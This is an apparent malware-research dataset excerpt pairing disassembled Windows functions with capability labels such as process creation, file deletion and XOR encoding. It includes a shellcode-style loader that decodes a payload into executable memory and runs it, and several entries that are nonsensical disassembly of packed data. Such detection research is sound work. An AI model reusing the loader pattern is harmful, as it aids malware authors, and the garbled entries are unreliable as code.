joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406abc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor edx, edx
mov dword [ebp - 0x10c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x406b26
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x105]
push eax
push 0x105
call sub.kernel32.dll_GetTempPathA
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x105]
call fcn.00403400
mov eax, dword [ebp - 0x10c]
mov edx, ebx
call fcn.00406970
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406b2d
lea eax, [ebp - 0x10c]
call fcn.004032dc
ret

Function at 0x406b84
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov esi, ecx
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x406c1c
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [ebx + 0x18], 0
jne 0x406bd1
mov eax, dword [ebx + 0x19]
call fcn.00403618
push eax
push esi
mov eax, edi
call fcn.00403618
push eax
mov eax, dword [ebx + 0x1d]
call fcn.00403618
push eax
call sub.kernel32.dll_GetPrivateProfileIntA
mov dword [ebp - 4], eax
jmp 0x406c06
mov dword [ebp - 4], esi
mov eax, dword [ebx + 0x19]
call fcn.00403618
push eax
lea edx, [ebp - 8]
mov eax, esi
call fcn.0040657c
mov eax, dword [ebp - 8]
call fcn.00403618
push eax
mov eax, edi
call fcn.00403618
push eax
mov eax, dword [ebx + 0x1d]
call fcn.00403618
push eax
call sub.kernel32.dll_WritePrivateProfileStringA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406c23
lea eax, [ebp - 8]
call fcn.004032dc
ret

Function at 0x406c30
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff800
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp byte [ebx + 0x18], 0
jne 0x406c97
mov byte [ebp - 0x800], 0
mov eax, dword [ebx + 0x19]
call fcn.00403618
push eax
push 0x800
lea eax, [ebp - 0x800]
push eax
mov eax, esi
call fcn.00403618
push eax
mov eax, edi
call fcn.00403618
push eax
mov eax, dword [ebx + 0x1d]
call fcn.00403618
push eax
call sub.kernel32.dll_GetPrivateProfileStringA
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x800]
mov ecx, 0x800
call fcn.0040343c
jmp 0x406cc8
mov eax, dword [ebp + 8]
mov edx, esi
call fcn.00403374
mov eax, dword [ebx + 0x19]
call fcn.00403618
push eax
mov eax, esi
call fcn.00403618
push eax
mov eax, edi
call fcn.00403618
push eax
mov eax, dword [ebx + 0x1d]
call fcn.00403618
push eax
call sub.kernel32.dll_WritePrivateProfileStringA
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x408ef0
Capabilities:
Get graphical window text

Disassembly:
xchg edx, eax
movzx ecx, byte [edx + 0x3a]
jecxz 0x408eff
mov edx, dword [edx + 0x36]
jmp fcn.00403400
mov ecx, dword [edx + 0x18]
jecxz 0x408ef7
push ebx
push esi
xchg ebx, eax
mov esi, ecx
push esi
call sub.user32.dll_GetWindowTextLengthA
mov edx, eax
inc eax
push eax
mov eax, ebx
call fcn.00403784
pop edx
mov ecx, dword [ebx]
jecxz 0x408f27
push edx
push ecx
push esi
call sub.user32.dll_GetWindowTextA
pop esi
pop ebx
ret

Function at 0x40b52c
Capabilities:
Check os version

Disassembly:
add esp, 0xffffff6c
cmp byte [0x423350], 0xff
je 0x40b542
mov al, byte [0x423350]
jmp 0x40b5a2
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
mov eax, dword [esp + 0x10]
cmp eax, 2
jne 0x40b57b
mov al, 3
mov edx, dword [esp + 4]
cmp edx, 6
jb 0x40b567
mov al, 6
jmp 0x40b59d
cmp edx, 5
jb 0x40b59d
cmp dword [esp + 8], 1
jb 0x40b577
mov al, 5
jmp 0x40b59d
mov al, 4
jmp 0x40b59d
cmp eax, 1
jne 0x40b59b
mov al, 1
cmp dword [esp + 4], 4
ja 0x40b597
cmp dword [esp + 4], 4
jne 0x40b59d
cmp dword [esp + 8], 0xa
jb 0x40b59d
mov al, 2
jmp 0x40b59d
xor eax, eax
mov byte [0x423350], al
add esp, 0x94
ret
Function at 0x40558d
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, 0x408374
and byte [ebp - 0x1f], 0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push esi
push eax
mov byte [ebp - 0x20], 1
push dword [ebp + 8]
mov word [ebp - 0x1e], 4
mov dword [ebp - 0x10], 0x408364
mov dword [ebp - 0xc], 0xc
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4055de
xor eax, eax
jmp 0x405605
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0xb7
jne 0x405605
lea eax, [ebp - 0x20]
push eax
push 0x80000007
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_SetFileSecurityA]
test eax, eax
jne 0x4055da
call esi
pop esi
leave
ret 4

Function at 0x40563f
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [0x448078], 0x44
push eax
xor eax, eax
push 0x448078
push eax
push eax
push 0x4000000
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40567e
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x405682
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push eax
and dword [eax + 0x24], 0
mov dword [eax], 0x3c
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
ret 4

Function at 0x405720
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push esi
call fcn.00405b14
mov edi, eax
cmp edi, 0xffffffff
je 0x405761
test byte [esp + 0x10], 1
push esi
je 0x405743
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
jmp 0x405749
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x405752
xor eax, eax
inc eax
jmp 0x405763
test byte [esp + 0x10], 4
jne 0x405761
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
xor eax, eax
pop edi
pop esi
ret 8
Function at 0x524520
Capabilities:
Encode data using xor

Disassembly:
cmp edx, dword [ecx + 0xc]
jb 0x524512
ja 0x524505
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov edx, dword [eax + 0x1a38]
cmp edx, dword [ecx + 8]
jbe 0x524512
add byte [ebx], bh
push ecx
or byte [esi + 0xd], dh
mov eax, dword [ebp + 0x10]
fld qword [0x496390]
fstp qword [eax]
int3
int3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc ebx
inc ebx
loopne 0x524515
xor edi, eax
push edx
xchg ebp, eax
salc
xchg byte [0x2835e512], ah
lahf
xchg ebp, eax
clc
stc
mov byte [edi - 0x30b404aa], dh
loope 0x5244ed
ja 0x524553
mov esi, 0x71417a6a
lcall 0xb3b6, 0x8f59f756
jne 0x5244ff
inc esi
jecxz 0x52457c
sub esp, esi
repz ret
jge 0x5245b0
inc edi
add al, 0xc2
cmp dword [ebx + 0x18], eax
or dword [0x23e265bc], ebp
psubw mm2, qword [eax - 0x2d0419b5]
ror dword [eax], 0xfe
dec esi
fdivr st(5)
sub byte [ebp + 0x57ba0fc1], bl
out 0x69, al
sbb byte [ecx], 0xc7
cmp edi, dword [eax + 0x1940b333]
xchg esi, eax
mov cl, 0xd
sbb ebp, dword [eax - 0x37821a6c]
xor esi, dword [ebx - 0x4e69e6c0]
or eax, 0xe594a81b
jge 0x524551
fnstsw word [eax + 0x1d]
mov bl, byte [esi + edi - 0x78289cb5]
cmp al, 0xf9
xor al, 0x3b
sbb byte [edi - 0x42], cl
je 0x52454f
push es
in al, 0xb4
leave
jmp 0x50c451dc
pushal
inc edx
pop ebp
jl 0x52460e
insd dword es:[edi], dx
adc byte [eax + 0x42], ch
mov ebx, dword [ebx + 0x4d]
cmp ah, byte [ebp + 0x4c]
sub dword [edi - 0x43], edi
fcom qword es:[eax]
and dword [edx - 0x35], eax
add byte [edi + edi*2 - 6], cl
mov esi, 0x45327e
or byte [esi - 0x55], dl
invalid
cmp dword [edx], ebp
popfd
sahf
adc bl, dh
cmp al, 0x40
lcall 0x81b2, 0x13fc204
jmp 0x42307156

Function at 0x5e896e
Capabilities:
Encode data using xor

Disassembly:
cmp dh, byte [esi - 1]
or dh, byte [bx + di - 0x5cc7]
or dword [esi - 0x7f], esi
lea eax, ss:[ebx - 0x63]
hlt
Function at 0x5f0f5e
Capabilities:
Encode data using xor

Disassembly:
insd dword es:[edi], dx
js 0x5f0fbb
push ebp
lea esi, [ecx + 0x5a441867]
adc eax, 0x5bf30738
retf 0x499a
cli
push esi
shr byte [ebp + 0x6398ddb], 0x78
adc byte [esi], 0xb7
leave
push ss
mov bh, 0xc9
mov ch, 0xa9
cld
pop esi
xor ecx, esp
test byte [ecx], 0x80
push ss
sbb eax, 0xca47cb4c
shl byte [0xe9322674], cl
jne 0x5f0fce
loope 0x5f0fc6
or dword [eax + 0x4c1d163e], eax
retf
scasd eax, dword es:[edi]
add edx, dword [edi + 0x4b5cc65]
cld
imul esi, dword [edx - 0x1d], 0xc01834e9
mov dh, 0x46
stosb byte es:[edi], al
salc
xchg esp, eax
sub ecx, 0x32
mov eax, 0x39ac91cc
jbe 0x5f1076
push edx
sal dl, cl
popal
imul eax, dword [edi + 7], 0xccfcdc56
call 0x97f14968
leave
add ebx, eax
retf
fnstenv [edi]
jge 0x5f10e3
pop ecx
xor esp, dword [ebp - 0x11e99989]
aaa
or byte [edx], ah
cmp ah, bh
mov al, byte [0x3ef8059c]
ljmp 0x3098
mov al, byte [0x471a2f8d]
sbb eax, 0x8d742164
adc byte [ebp - 0x10], bh
std
salc
mov ecx, dword [ecx + 0x29]
salc
das
jne 0x5f1177
pushal
pop esp
push 0x82625d5f
cmpsd dword [esi], dword es:[edi]
salc
xchg dword [eax], ebp
sbb eax, 0x26c45f6e
xor dh, ah
adc edi, dword [eax - 0x54f94100]
out 0x13, al
mov eax, 0xab06bf00
push esp
xor eax, 0x1fc9d6ef
ficom dword [edi - 0x724647a0]
sub dword [edi - 0x67ecd39e], eax
leave
or al, 0xf1
inc esi
or ebx, ecx
aaa
mov ebx, 0x98299fa6
fld dword [0x4a4ba886]
cmp dword [edx], esp
mov esi, 0xba69f8ac
sbb ecx, eax
jbe 0x5f11b6
int3
cmp dword [0x335172f9], ebp
mov ecx, 0x4a874deb
cmc
jns 0x5f110b
into
dec esi
outsd dx, dword [esi]
sub al, 0xd8
xchg edx, eax
stosb byte es:[edi], al
push ds
clc
sub dl, ah
mov esi, 0x74be64c3
leave
cmp dword [ebx], esi
xchg edi, eax
mov al, 0x27
ror byte [eax - 0x55], 1
mov esi, 0x39c9f274
xor edx, dword [edi + 0x48d027b0]
stosd dword es:[edi], eax
pop eax
stc
out 0x36, al
jg 0x5f117a
cmc
int1
mov bh, 0x7e
loope 0x5f11b4
sal dword [edx + 0x62], 1
mov ch, 0xad
imul eax, ebx, 0xa9d597e4
imul edi, dword [ebp + 0x3f945846], 0x28e98a57
inc ebx
movsb byte es:[edi], byte [esi]
invalid
add eax, 0xcfc9f927
push ebp
cwde
jg 0x5f115e
stc
leave
iretd
jno 0x5f117a
xchg edx, eax
mov dl, 0x13
xchg ebx, eax
jns 0x5f11f7
cli
ret
push es
cmp eax, 0xf38a5390
fisttp qword [ebx - 0x3d]
int3
Function at 0x63c98c
Capabilities:
Encode data using xor

Disassembly:
mov bl, 0x6b
push edi
jl fcn.0063c969
jecxz 0x63c9c7
pop edi
sub dword [ebp + 0x62], ebp
enter 0x2552, 0xffffffffffffffcc
push ecx
aas
inc ebp
push ss
sub cl, dh
test ecx, edi
or byte [eax - 0x4f18b973], cl
aas
xchg edi, eax
inc esi
cmp edx, dword [edi]
ja 0x63ca06
invalid
xor al, 0xd3
or al, 0xa5
mov dh, 0x4f
push edx
in al, 0xf1
add byte [ebx + 0x2dca01d3], bh
xchg ecx, eax
inc ebp
jmp 0x63ca16
mov bh, 0xdf
bound eax, qword [ebx + 0x33]
mov esi, 0x87c930dc
xlatb
xor cl, cl
xchg edi, edx
outsd dx, dword [esi]
cmp ecx, dword [edx + 0x4f]
xor bh, byte [ebp + 0x42]
inc eax
pop ebp
adc dword [ebp + 0x4b], 0xafc439d2
mov dword [esi - 0x77], esi
jno 0x63c9a7
fistp word [esi]
push ds
in eax, 0xd3
jmp dword [ebx - 0x68580f86]
or bl, al
jbe 0x63c9ae
retf
lahf
retf
mov eax, 0x532d36d7
inc ebp
daa
test dword [eax + 0x52], esi
dec eax
sub al, 0x53
xchg ebx, eax
jg 0x63c9d7
cmpsb byte [esi], byte es:[edi]
jge 0x63ca8f
ret 0xb4a8
push 0x341bd51f
adc byte [esi - 0x35], al
das
xchg byte [esi - 0x6922900d], cl
and al, 0xb3
push es
add dword [ebx - 0x7c40fc1a], 0x40
fucompi st(3)
push 0xf0f543f1
aas
or al, 0x61
push ss
out dx, al
xor al, 0x56
neg byte [eax]
sti
insb byte es:[edi], dx
or eax, 0x738620bc
dec ebp
test byte [ebx + ebx*8 + 0x4d1f9694], 0x96
ret
Function at 0x25808da8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x25808db7
pop dword [ebp - 0x14]
mov eax, 0x7e0525b3
add eax, 0xa77b6804
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xbc7b8499
sub dword [ebp - 0x24], 0x6e293f4e
mov dword [ebp - 0x20], 0x612218d5
sub dword [ebp - 0x20], 0x2eeecc90
mov dword [ebp - 0x1c], 0x8508430c
sub dword [ebp - 0x1c], 0x38bbfede
mov dword [ebp - 0x18], 0x73569427
sub dword [ebp - 0x18], 0x73569427
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x37776c89
sub dword [ebp - 0x24], 0xc3050333
mov dword [ebp - 0x20], 0x7b76b2a0
add dword [ebp - 0x20], 0xc5f5aed5
mov dword [ebp - 0x1c], 0x815eccbb
sub dword [ebp - 0x1c], 0x1def604f
mov dword [ebp - 0x18], 0xdb491b13
sub dword [ebp - 0x18], 0xdb491b13
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x378c9
push 0
call eax
mov ecx, 0x6fa7b226
add ecx, 0x90588900
xor esi, esi
add esi, eax
mov edi, 0xce2d11f5
add edi, 0x5754ca0b
add edi, dword [ebp - 0x14]
mov ebx, 0x1c13b81b
mov dword [ebp - 8], 0xd453743
mov edx, dword [edi]
add dword [ebp - 0x10], edi
add edx, ebx
add dword [ebp - 0xc], ebx
mov dword [esi], edx
xor dword [ebp - 4], eax
add esi, 0xb926993b
sub esi, 0xb9269937
add edi, 0x89548b6a
sub edi, 0x89548b66
loop 0x25808ecb
add eax, 0x228c731
add eax, 0xfdd8183a
mov ebx, eax
add eax, 5
mov ecx, 0x541e919d
sub ecx, 0x2e9e919d
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x40b4d0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40b534
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404128
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.004074dc
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40b53b
lea eax, [ebp - 0xc]
call fcn.00403eb8
ret

Function at 0x409f20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp - 0x47]
push esi
mov esi, dword [ebp + 0x56]
push edi
inc edx
jl 0x409f2f
add byte [ecx + 0x33], ch
ror byte [ebx + 0x4abc6fe], 0x43
adc byte [ebx], dh
sar byte [ecx + 0x290020], cl
mov eax, ebx
or al, 0x89
inc esi
Function at 0x4028c0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x419008]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
push 2
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x402952
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x128
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x402952
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
nop
mov eax, ebx
lea ecx, [esp + 0x34]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x402936
test dl, dl
je 0x402932
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x402936
add ecx, 2
add eax, 2
test dl, dl
jne 0x402916
xor eax, eax
jmp 0x40293b
sbb eax, eax
or eax, 1
test eax, eax
je 0x40296a
lea eax, [esp + 0x10]
push eax
push esi
call edi
test eax, eax
jne 0x402910
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x130]
xor ecx, esp
call fcn.0040f95d
mov esp, ebp
pop ebp
ret
push dword [esp + 0x18]
push 0
push 0x10
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040f95d
mov esp, ebp
pop ebp
ret
Function at 0x405260
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4110bf
mov eax, dword fs:[0]
push eax
sub esp, 0x25c
mov eax, dword [0x419008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea edi, [ebp + 8]
mov eax, dword fs:[0x2c]
cmp dword [ebp + 0x1c], 0x10
mov dword [ebp - 0x11c], 0x3f5644c
cmovae edi, dword [ebp + 8]
mov ebx, dword [eax]
mov dword [ebp - 0x118], 0x59a56dc2
mov byte [ebp - 0x114], 0x69
mov eax, dword [ebx + 0x6a4]
test al, 1
jne 0x40532c
or eax, 1
mov dword [ebx + 0x6a4], eax
mov byte [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x124], xmm0
mov edx, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x124]
mov byte [ebx + 0x511], 1
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x11c]
mov byte [ecx + ebx + 0x508], al
add ecx, 1
adc edx, 0
jne 0x40531b
cmp ecx, 9
jb 0x405300
push 0x413030
call fcn.0040fca6
add esp, 4
mov byte [ebp - 4], 0
lea esi, [ebx + 0x508]
mov ecx, esi
call fcn.0040d390
push edi
lea eax, [ebp - 0x110]
push esi
push eax
call fcn.00401070
add esp, 0xc
lea eax, [ebp - 0x264]
push eax
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x268], eax
lea esi, [ebx + 0x198]
mov dword [ebp - 0x124], 0x245cb878
mov byte [ebp - 0x120], 0x5d
nop dword [eax + eax]
cmp dword [ebp + 0x1c], 0x10
lea edi, [ebp + 8]
mov eax, dword [ebx + 0x234]
cmovae edi, dword [ebp + 8]
test al, 1
jne 0x4053e8
or eax, 1
mov dword [ebx + 0x234], eax
mov byte [ebp - 4], 2
xorps xmm0, xmm0
movlpd qword [ebp - 0x11c], xmm0
mov edx, dword [ebp - 0x118]
mov eax, dword [ebp - 0x11c]
mov byte [esi + 5], 1
nop dword [eax]
mov cl, byte [ebp + eax - 0x124]
mov byte [eax + esi], cl
add eax, 1
adc edx, 0
jne 0x4053d7
cmp eax, 5
jb 0x4053c0
push 0x412ff0
call fcn.0040fca6
add esp, 4
mov byte [ebp - 4], 0
mov ecx, esi
call fcn.0040d330
lea eax, [ebp - 0x238]
push eax
push edi
lea eax, [ebp - 0x110]
push esi
push eax
call fcn.00401070
add esp, 0x10
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, dword [ebp - 0x268]
lea eax, [ebp - 0x264]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405380
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x40546d
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405463
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x405463
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.0040fbef
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040f95d
mov esp, ebp
pop ebp
ret
Function at 0x40a950
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x40a97c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x40a99e
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x40a9a0
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x40aa25
jg 0x40a9b5
test esi, esi
je 0x40aa25
test ecx, ecx
jl 0x40aa08
jg 0x40a9bf
test eax, eax
je 0x40aa08
cmp edi, ecx
jg 0x40a9d3
jl 0x40a9c9
cmp esi, eax
jae 0x40a9d3
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x1c]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov eax, dword [ebx + 0x30]
sub esi, ecx
mov edx, dword [ebp + 8]
sbb edi, dword [esp + 0x10]
add edx, ecx
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
test edi, edi
jl 0x40aa25
jg 0x40aa0b
test esi, esi
je 0x40aa25
jmp 0x40aa0b
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x40aa25
push eax
push esi
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40aa40
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 8]
mov dword [ebp - 8], ecx
push esi
mov esi, dword [ebp + 0xc]
test eax, eax
jg 0x40aa6c
jl 0x40aa60
test esi, esi
jne 0x40aa6c
pop esi
xor eax, eax
xor edx, edx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
cmp dword [ebx + 0x38], 0
je 0x40aa85
push eax
push esi
push ecx
mov ecx, ebx
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char___long_long___int64__]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x1c]
push edi
mov edi, esi
mov dword [ebp - 4], esi
mov edx, dword [eax]
test edx, edx
je 0x40aac5
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
test eax, eax
je 0x40aac5
mov edi, dword [ebp + 0xc]
cmp eax, edi
cmovb esi, eax
push esi
push edx
push ecx
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebx + 0x2c]
sub edi, esi
add dword [ebp - 8], esi
add esp, 0xc
mov dword [ebp - 4], edi
sub dword [eax], esi
mov eax, dword [ebx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp + 0xc]
cmp dword [ebx + 0x4c], 0
je 0x40ab7c
mov ecx, dword [ebx + 0xc]
lea eax, [ebx + 0x3c]
cmp dword [ecx], eax
jne 0x40aaf0
mov eax, dword [ebx + 0xc]
mov edx, dword [ebx + 0x54]
mov ecx, dword [ebx + 0x50]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov dword [eax], edx
mov eax, dword [ebp - 4]
mov edx, eax
mov ecx, dword [ebp - 8]
cmp eax, 0xfff
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov dword [ebp - 4], edx
jbe 0x40ab3f
nop word [eax + eax]
push dword [ebx + 0x4c]
push 0xfff
push 1
push ecx
call eax
mov ecx, dword [ebp - 8]
sub edi, eax
add ecx, eax
mov dword [ebp - 4], edi
add esp, 0x10
mov dword [ebp - 8], ecx
mov edx, edi
cmp eax, 0xfff
jne 0x40ab69
cmp edi, eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
ja 0x40ab10
cmp dword [ebp - 4], 0
jbe 0x40ab7f
push dword [ebx + 0x4c]
push edi
push 1
push ecx
call eax
mov edx, dword [ebp - 4]
add esp, 0x10
sub edx, eax
sub esi, edx
mov edx, dword [ebp + 0x10]
mov eax, esi
pop edi
pop esi
sbb edx, 0
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp + 0x10]
sub esi, edi
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [ebp - 4]
sub esi, edx
mov edx, dword [ebp + 0x10]
pop edi
mov eax, esi
sbb edx, 0
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc